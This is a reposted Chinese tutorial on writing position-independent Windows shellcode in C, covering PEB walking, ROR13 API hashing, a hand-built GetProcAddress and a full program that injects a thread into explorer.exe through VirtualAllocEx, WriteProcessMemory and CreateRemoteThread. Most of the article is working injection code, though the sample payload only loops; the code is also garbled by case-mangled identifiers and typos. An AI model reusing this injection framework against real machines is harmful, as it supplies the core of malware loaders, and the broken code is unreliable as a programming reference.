当前位置: 移动技术网 > IT编程>开发语言>C/C++ > C语言编程笔记丨使用C编译器编写shellcode

C语言编程笔记丨使用C编译器编写shellcode

2019年03月30日  | 移动技术网IT编程  | 我要评论

夏天主持词开场白,焚天仙境,宋时归最新章节

背景

有时候程序员们需要写一段独立于位置操作的代码,可当作一段数据写到其他进程或者网络中去。该类型代码在它诞生之初就被称为shellcode,在软件利用中黑客们以此获取到shell权限。方法就是通过这样或那样的恶意手法使得这段代码得以执行,完成它的使命。当然了,该代码仅能靠它自己,作者无法使用现代软件开发的实践来推进shellcode的编写。

汇编常用于编写shellcode,特别是对代码大小挑剔的时候,汇编就是不错的选择。对我个人而言,多数项目都需要一段类似可以注入到其他进程的代码。这时候我就不是特别在意代码大小了,反而是开发效率以及调试能力显得尤为重要。一开始,我用nasm编写独立的汇编程序,把获得的输出文件转换为c数组,然后整合到我的程序中。这正是你在milw0rm这样的网站上所看到的,大多数exploit payload的获取方式。最终我厌倦了这样的方式,虽然很怀念nasm完备的功能,我还是开始使用内联汇编来解决问题。随着经验的积累,我发现了一个完全可用的纯c开发shellcode的方法,仅需2条内联汇编指令。就开发速度和调试shellcode时的上下文而言,真的比单纯使用汇编的方法有很大的改进。运用机器级的比如ollydbg这样的调试器,我毫不含糊,但这相对于用visual studio调试器来调试c源码,就是小菜一碟。

 

准备工作

为了确保能生成可用作shellcode这样特定格式的代码,我们需要对visual studio做些特殊的配置。下面的各项配置,可能随编译器的变更而变更:

1、使用release模式。近来编译器的debug模式可能产生逆序的函数,并且会插入许多与位置相关的调用。

2、禁用优化。编译器会默认优化那些没有使用的函数,而那可能正是我们所需要的。

3、禁用栈缓冲区安全检查(/gs)。在函数头尾所调用的栈检查函数,存在于二进制文件的某个特定位置,导致输出的函数不能重定位,这对shellcode是无意义的。

 

第一个shellcode

#include <stdio.h>

void shell_code()

{

    for (;;)

        ;

}

 

void __declspec(naked) end_shellcode(void) {}

 

int main(int argc, char *argv[])

{

    int sizeofshellcode = (int)end_shellcode - (int)shell_code;

 

    // show some info about our shellcode buffer

    printf("shellcode starts at %p and is %d bytes long", shell_code. sizeofshellcode);

 

    // now we can test out the shellcode by calling it from c!

    shell_code();

 

    return 0;

}

这里所示例的shellcode除了一个无限循环,啥事也没干。不过有一点是比较重要的————放在shell_code函数之后的end_shellcode。有了这个,我们就能通过shell_code函数开头和end_shellcode函数开头间的距离来确定shellcode的长度了。还有,c语言在这里所体现的好处就是我们能够把程序本身当作一段数据来访问,所以如果我们需要把shellcode写到另外一份文件中,仅需简单的调用fwrite(shell_code, sizeofshellcode, 1, filehandle)。

visual studio环境中,通过调用shell_code函数,借助ide的调试技能,就可以很容易的调试shellcode了。

在上面所示的第一个小案例中,shellcode仅用了一个函数,其实我们可以使用许多函数。只是所有的函数需要连续地存放在shell_code函数和end_shellcode函数之间,这是因为当在内部函数间调用时,call指令总是相对的。call指令的意思是“从距这里x字节的地方调用一个函数”。所以如果我们把执行call的代码和被调用的代码都拷贝到其他地方,同时又保证了它们间的相对距离,那么链接时就不会出岔子。

 

shellcode中数据的使用

传统c源码中,如果要用一段诸如ascii字符的数据,可以直接内嵌进去,无需担心数据的存放,比如: winexec(“evil.exe”)。这里的“evil.exe”字符串被存储在c程序的静态区域(很可能是二进制的.rdata节中),如果我们把这段代码拷贝出来,试图将其注入到其他进程中,就会因那段字符不存在于其他进程的特定位置而失败。传统汇编编写的shellcode可以轻松的使用数据,这通过使用call指令获取到指向代码本身的指针,而这段代码可能就混杂着数据。下面是一个使用汇编实现的shellcode方式的winexec调用:

call end_of_string

db 'evil.exe',0

end_of_string:

call winexec

这里的第一个call指令跳过字符数据”evial.exe”,同时在栈顶存放了一个指向字符串的指针,稍后会被用作winexec函数的参数。这种新颖的使用数据的方法有着很高的空间利用率,但是很可惜在c语言中没有与此等价的直接调用。在用c写shellcode时,我建议使用栈区来存放和使用字符串。为了使微软编译器在栈上动态的分配字符以便重定位,你需要如下处理:

char mystring[] = {'e','v','i','l','.','e','x','e',0};

winexec(mystring);

你会发现,我将字符串声明为字符数组的形式。如果我这样写char mystring[] = “evil.exe”; 在老式的微软编译器中,它会通过一系列的mov指令来构成字符串,而现在仅会简单的将字符串从内存中的固定位置拷贝到栈中,而如果需要重定位代码,这就无效了。把两种方法都试试,下载免费的ida pro版本看看它们的反汇编代码。上面的赋值语句的反汇编应该看起来如下所示:

mov [ebp+mystring], 65h

mov [ebp+mystring+1], 76h

mov [ebp+mystring+2], 69h

mov [ebp+mystring+3], 6ch

mov [ebp+mystring+4], 2eh

mov [ebp+mystring+5], 65h

mov [ebp+mystring+6], 78h

mov [ebp+mystring+7], 65h

mov [ebp+mystring+8], 0

处理数据时,字符串真的是很头疼的一件事。其他比如结构体、枚举、typedef声明、函数指针啊这些,都能如你预期的那样正常工作,你可以利用c提供的全套功能。确保数据为局部变量,一切都ok了。

 

使用库函数

我将这篇文章专注于windows环境的shellcode。上面所提及的一些规则也适用于unix系统。windows环境下的shellcode会更复杂一点,因为我们没有一致公开的方法进行系统调用,就像在unix中仅需几条汇编代码就可以的那样(对int 80h的调用)。我们需要利用dll中提供的api函数,来进行系统调用做些像读写文件、网络通信这样的事。这些dll最终会进行必要的系统调用,而它的实现细节几乎随着每次windows的发布而变化。像《the shellcoder’s handbook》这样的标榜性著作描绘了搜寻内存中dll和函数的方法。如果想将shellcode做到在不同windows版本间的可移植性,有两个函数是必须的:1、查找kernel32.dll的函数;2、实现getprocaddress()函数或者查找getprocaddress()地址的函数。我所提供的实现是基于hash的而非字符串的比较,下面我将提供用于shellcode的hash实现,并做个简短的说明。

 

hash函数

在shellcode中,使用hash进行函数的查询是比较普遍的。较流行的ror13 hash方法是最常用的,它的实现也用在了《the shellcoder’s handbook》中。它的基本思想是当我们要查询一个名为“myfunction”的函数时,不是将字符串存放在内存中,对每个函数名进行字符串的比对,而是生成一个32位的hash值,将每个函数名进行hash比对。这并不能减小运行时间,但是可以节省shellcode的空间,也具有一定的反逆向功效。下面我提供了ascii和unicode版本的ror13 hash实现:

dword __stdcall unicode_ror13_hash(const wchar *unicode_string)

{

    dword hash = 0;

 

    while (*unicode_string != 0)

    {

        dword val = (dword)*unicode_string++;

        hash = (hash >> 13) | (hash << 19); // ror 13

        hash += val;

    }

    return hash;

}

 

dword __stdcall ror13_hash(const char *string)

{

    dword hash = 0;

 

    while (*string) {

        dword val = (dword) *string++;

        hash = (hash >> 13)|(hash << 19);  // ror 13

        hash += val;

    }

    return hash;

}

 

查找dll

有3个链表可以用来描述内存中加载的dll:

inmemoryordermodulelist、ininitializationordermodulelist和inloadordermodulelist。它们都在peb(进程环境块)中。在你的shellcode中,用哪个都可以,我所用的是inmemoryordermodulelist。需要如下的两条内联汇编来访问peb:

ppeb __declspec(naked) get_peb(void)

{

    __asm {

        mov eax, fs:[0x30]

        ret

    }

}

现在我们已经获取了peb,可以查询内存中的dll了。唯一的一直存在于windows进程内存中的dll是ntdll.dll,但kernel32.dll会更方便一点,并且在99.99%的windows进程中(win32子系统)都可用。下面我提供的代码实现会查询module列表,利用unicode的ror13 hash值查到kernel32.dll。

hmodule __stdcall find_kernel32(void)

{

    return find_module_by_hash(0x8fecd63f);

}

 

hmodule __stdcall find_module_by_hash(dword hash)

{

    ppeb peb;

    ldr_data_table_entry *module_ptr, *first_mod;

 

    peb = get_peb();

 

    module_ptr = (pldr_data_table_entry)peb->ldr->inmemoryordermodulelist.flink;

    first_mod = module_ptr;

 

    do {

        if (unicode_ror13_hash((wchar *)module_ptr->fulldllname.buffer) == hash)

            return (hmodule)module_ptr->reserved2[0];

        else

            module_ptr = (pldr_data_table_entry)module_ptr->reserved1[0];

    } while (module_ptr && module_ptr != first_mod);   // because the list wraps,

 

    return invalid_handle_value;

}

这里所提供的find_module_by_hash函数可以利用dll名称的hash值找到任意的加载在内存中的dll。如果要加载一个新的原本不再内存中的dll,就需要使用kernel32.dll中的loadlibrary函数。要找到loadlibrary函数,我们就需要实现getprocaddress函数。下面的代码实现利用函数名的hash值在加载的dll中查找函数:

farproc __stdcall find_function(hmodule module, dword hash)

{

    image_dos_header *dos_header;

    image_nt_headers *nt_headers;

    image_export_directory *export_dir;

    dword *names, *funcs;

    word *nameords;

    int i;

 

    dos_header = (image_dos_header *)module;

    nt_headers = (image_nt_headers *)((char *)module + dos_header->e_lfanew);

    export_dir = (image_export_directory *)((char *)module + nt_headers->optionalheader.datadirectory[image_directory_entry_export].virtualaddress);

    names = (dword *)((char *)module + export_dir->addressofnames);

    funcs = (dword *)((char *)module + export_dir->addressoffunctions);

    nameords = (word *)((char *)module + export_dir->addressofnameordinals);

 

    for (i = 0; i < export_dir->numberofnames; i++)

    {

        char *string = (char *)module + names[i];

        if (hash == ror13_hash(string))

        {

            word nameord = nameords[i];

            dword funcrva = funcs[nameord];

            return (farproc)((char *)module + funcrva);

        }

    }

 

    return null;

}

现在我们可以这样查找函数

hmodule kern32 = find_kernel32();

farproc loadlibrarya = find_function(kern32, 0xec0e4e8e);   // the hash of loadlibrarya

 

最终成品

现在我将以完整的c程序的方式来展示上面所提及的内容。代码执行时,将生成名为shellcode.bin的文件,它就存储着shellcode。该shellcode可以向explorer.exe注入一个线程,实现无限循环,直至消耗完cpu。

#include <stdio.h>

#include <windows.h>

#include <winternl.h>

#include <wchar.h>

#include <tlhelp32.h>

 

ppeb get_peb(void);

dword __stdcall unicode_ror13_hash(const wchar *unicode_string);

dword __stdcall ror13_hash(const char *string);

hmodule __stdcall find_module_by_hash(dword hash);

hmodule __stdcall find_kernel32(void);

farproc __stdcall find_function(hmodule module, dword hash);

handle __stdcall find_process(hmodule kern32, const char *procname);

void __stdcall inject_code(hmodule kern32, handle hprocess, const char *code, dword size);

bool __stdcall strmatch(const char *a, const char *b);

 

void __stdcall shell_code()

{

    hmodule kern32;

    dword *dwptr;

    handle hprocess;

    char procname[] = {'e','x','p','l','o','r','e','r','.','e','x','e',0};

    char code[] = {0xeb, 0xfe};

 

    kern32 = find_kernel32();

    hprocess = find_process(kern32, (char *)procname);

    inject_code(kern32, hprocess, code, sizeof code);

}

 

handle __stdcall find_process(hmodule kern32, const char *procname)

{

    farproc createtoolhelp32snapshot = find_function(kern32, 0xe454dfed);

    farproc process32first = find_function(kern32, 0x3249baa7);

    farproc process32next = find_function(kern32, 0x4776654a);

    farproc openprocess = find_function(kern32, 0xefe297c0);

    farproc createprocess = find_function(kern32, 0x16b3fe72);

    handle hsnapshot;

    processentry32 pe32;

 

    hsnapshot = (handle)createtoolhelp32snapshot(th32cs_snapprocess, 0);

    if (hsnapshot == invalid_handle_value)

        return invalid_handle_value;

 

    pe32.dwsize = sizeof( processentry32 );

 

    if (!process32first(hsnapshot, &pe32))

        return invalid_handle_value;

 

    do

    {

        if (strmatch(pe32.szexefile, procname))

        {

            return openprocess(process_all_access, false, pe32.th32processid);

        }

    } while (process32next(hsnapshot, &pe32));

 

    return invalid_handle_value;

}

 

bool __stdcall strmatch(const char *a, const char *b)

{

    while (*a != '' && *b != '')

    {

        char aa_delta = 'a' - 'a';

        char a_conv = *a >= 'a' && *a <= 'z' ? *a - aa_delta : *a;

        char b_conv = *b >= 'a' && *b <= 'z' ? *b - aa_delta : *b;

 

        if (a_conv != b_conv)

            return false;

        a++;

        b++;

    }

 

    if (*b == '' && *a == '')

        return true;

    else

        return false;

}

 

void __stdcall inject_code(hmodule kern32, handle hprocess, const char *code, dword size)

{

    farproc virtualallocex = find_function(kern32, 0x6e1a959c);

    farproc writeprocessmemory = find_function(kern32, 0xd83d6aa1);

    farproc createremotethread = find_function(kern32, 0x72bd9cdd);

    lpvoid remote_buffer;

    dword dwnumbyteswritten;

 

    remote_buffer = virtualallocex(hprocess, null, size, mem_commit, page_execute_readwrite);

    if (remote_buffer == null)

        return;

 

    if (!writeprocessmemory(hprocess, remote_buffer, code, size, &dwnumbyteswritten))

        return;

 

    createremotethread(hprocess, null, 0, remote_buffer, null, 0, null);

}

 

hmodule __stdcall find_kernel32(void)

{

    return find_module_by_hash(0x8fecd63f);

}

 

hmodule __stdcall find_module_by_hash(dword hash)

{

    ppeb peb;

    ldr_data_table_entry *module_ptr, *first_mod;

 

    peb = get_peb();

 

    module_ptr = (pldr_data_table_entry)peb->ldr->inmemoryordermodulelist.flink;

    first_mod = module_ptr;

 

    do {

        if (unicode_ror13_hash((wchar *)module_ptr->fulldllname.buffer) == hash)

            return (hmodule)module_ptr->reserved2[0];

        else

            module_ptr = (pldr_data_table_entry)module_ptr->reserved1[0];

    } while (module_ptr && module_ptr != first_mod);   // because the list wraps,

 

    return invalid_handle_value;

}

 

ppeb __declspec(naked) get_peb(void)

{

    __asm {

        mov eax, fs:[0x30]

        ret

    }

}

 

dword __stdcall unicode_ror13_hash(const wchar *unicode_string)

{

    dword hash = 0;

 

    while (*unicode_string != 0)

    {

        dword val = (dword)*unicode_string++;

        hash = (hash >> 13) | (hash << 19); // ror 13

        hash += val;

    }

    return hash;

}

 

dword __stdcall ror13_hash(const char *string)

{

    dword hash = 0;

 

    while (*string) {

        dword val = (dword) *string++;

        hash = (hash >> 13)|(hash << 19);  // ror 13

        hash += val;

    }

    return hash;

}

 

farproc __stdcall find_function(hmodule module, dword hash)

{

    image_dos_header *dos_header;

    image_nt_headers *nt_headers;

    image_export_directory *export_dir;

    dword *names, *funcs;

    word *nameords;

    int i;

 

    dos_header = (image_dos_header *)module;

    nt_headers = (image_nt_headers *)((char *)module + dos_header->e_lfanew);

    export_dir = (image_export_directory *)((char *)module + nt_headers->optionalheader.datadirectory[image_directory_entry_export].virtualaddress);

    names = (dword *)((char *)module + export_dir->addressofnames);

    funcs = (dword *)((char *)module + export_dir->addressoffunctions);

    nameords = (word *)((char *)module + export_dir->addressofnameordinals);

 

    for (i = 0; i < export_dir->numberofnames; i++)

    {

        char *string = (char *)module + names[i];

        if (hash == ror13_hash(string))

        {

            word nameord = nameords[i];

            dword funcrva = funcs[nameord];

            return (farproc)((char *)module + funcrva);

        }

    }

 

    return null;

}

 

void __declspec(naked) end_shellcode(void) {}

 

int main(int argc, char *argv[])

{

    file *output_file = fopen("shellcode.bin", "w");

    fwrite(shell_code, (int)end_shellcode - (int)shell_code, 1, output_file);

    fclose(output_file);

 

    return 0;

}

文章就到这里,感谢我们的译者。博主是一个有着7年工作经验的架构师,对于c++,自己有做资料的整合,一个完整学习c语言c++的路线,学习资料和工具。可以进我的q群7418,18652领取,免费送给大家。希望你也能凭自己的努力,成为下一个优秀的程序员!另外博主的微信公众号是:c语言编程学习基地,欢迎关注!

 

如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!! 点击进行留言回复

相关文章:

验证码:
移动技术网